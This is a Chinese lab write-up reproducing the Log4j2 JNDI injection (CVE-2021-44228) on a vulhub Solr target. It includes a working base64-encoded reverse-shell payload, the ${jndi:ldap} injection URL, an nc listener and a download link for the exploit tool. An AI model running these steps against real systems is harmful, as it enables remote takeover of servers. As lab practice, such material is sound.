Apache Log4j2 查找功能 JNDI 注入 (CVE-2021-44228)

漏洞背景

Apache Log4j 2 是对 Log4j 的升级，它比其前身 Log4j 1.x 提供了显着改进，并提供了 Logback 中可用的许多改进，同时修复了 Logback 架构中的一些固有问题。

2021 年 12 月，在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ldap:是不安全的或者可以允许远程代码执行。

复现过程

首先进入vulhub靶场，找到log4j文件下的CVE-2021-44228后启动环境

启动成功后进入环境：ip:8983

进入后去寻找注入点可参考dnslog.cn，这里不再多说。
找到方向之后，下面讲一下反弹shell的过程
利用到github上的一个JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar构造payload
工具链接：https://pan.百度.com/s/1L1z3LpTBMtb7VzEVyfaLqg?pwd=75vt
提取码：75vt

启用工具构建payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4Ljk2LjEyOC82NjY2IDA JjE=}|{base64,-d}|{bash,-i}” -A “ip地址”

这里解释一下bash -C后面的命令需要进行base64编码加密，IP为反弹shell 的地址和端口，这里是6666端口
执行之后会看到熟悉的rmi和idap，利用工具生成了恶意的命令和url
下面到环境里执行恶意代码

ip:/solr/admin/cores?action=${jndi:ldap://ip:1389/i6ik5y}

发现成功重定向恶意类地址

另起一个终端监听端口

nc -lvvp 6666

此时会成功反弹shell，然后执行whoami
复现成功
也可能会因为靶场和环境问题，监听不到反弹shell，此时换其他靶场即可，比如封神台等等

这篇好文章是转载于：学新通技术网